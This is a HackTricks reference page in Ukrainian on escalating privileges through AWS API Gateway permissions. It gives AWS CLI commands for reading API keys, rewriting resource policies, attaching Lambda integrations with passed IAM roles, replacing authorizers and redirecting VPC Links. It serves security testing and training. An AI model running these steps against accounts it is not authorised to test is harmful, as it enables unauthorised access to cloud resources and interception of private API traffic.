AWS - Apigateway Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Apigateway

Для отримання додаткової інформації перегляньте:

AWS - API Gateway Enum

apigateway:POST

З цим дозволом ви можете генерувати ключі API для налаштованих API (по регіону).

bash
aws --region <region> apigateway create-api-key

Потенційний вплив: Ви не можете підвищити привілеї за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації.

apigateway:GET

З цією дозволом ви можете отримати згенеровані ключі API для налаштованих API (по регіону).

bash
aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

Потенційний вплив: Ви не можете підвищити привілеї за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації.

apigateway:UpdateRestApiPolicy, apigateway:PATCH

З цими дозволами можливо змінити політику ресурсу API, щоб надати собі доступ до його виклику та зловживати потенційним доступом, який може мати API gateway (наприклад, виклик вразливої lambda).

bash
aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

Потенційний вплив: Зазвичай ви не зможете безпосередньо підвищити привілеї за допомогою цієї техніки, але ви можете отримати доступ до чутливої інформації.

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

note

Потрібно тестування

Зловмисник з дозволами apigateway:PutIntegration, apigateway:CreateDeployment та iam:PassRole може додати нову інтеграцію до існуючого API Gateway REST API з функцією Lambda, до якої прикріплено IAM роль. Потім зловмисник може викликати функцію Lambda для виконання довільного коду і потенційно отримати доступ до ресурсів, пов'язаних з IAM роллю.

bash
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Доступ до ресурсів, пов'язаних з IAM роллю функції Lambda.

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

note

Потрібно тестування

Зловмисник з правами apigateway:UpdateAuthorizer та apigateway:CreateDeployment може модифікувати існуючий авторизатор API Gateway, щоб обійти перевірки безпеки або виконати довільний код під час виконання запитів до API.

bash
API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

Потенційний вплив: Обхід перевірок безпеки, несанкціонований доступ до ресурсів API.

note

Потрібно тестування

Зловмисник з дозволом apigateway:UpdateVpcLink може змінити існуюче VPC Link, щоб вказати на інший Network Load Balancer, потенційно перенаправляючи приватний API-трафік на несанкціоновані або шкідливі ресурси.

bash
bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

Потенційний вплив: Несанкціонований доступ до приватних ресурсів API, перехоплення або порушення трафіку API.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks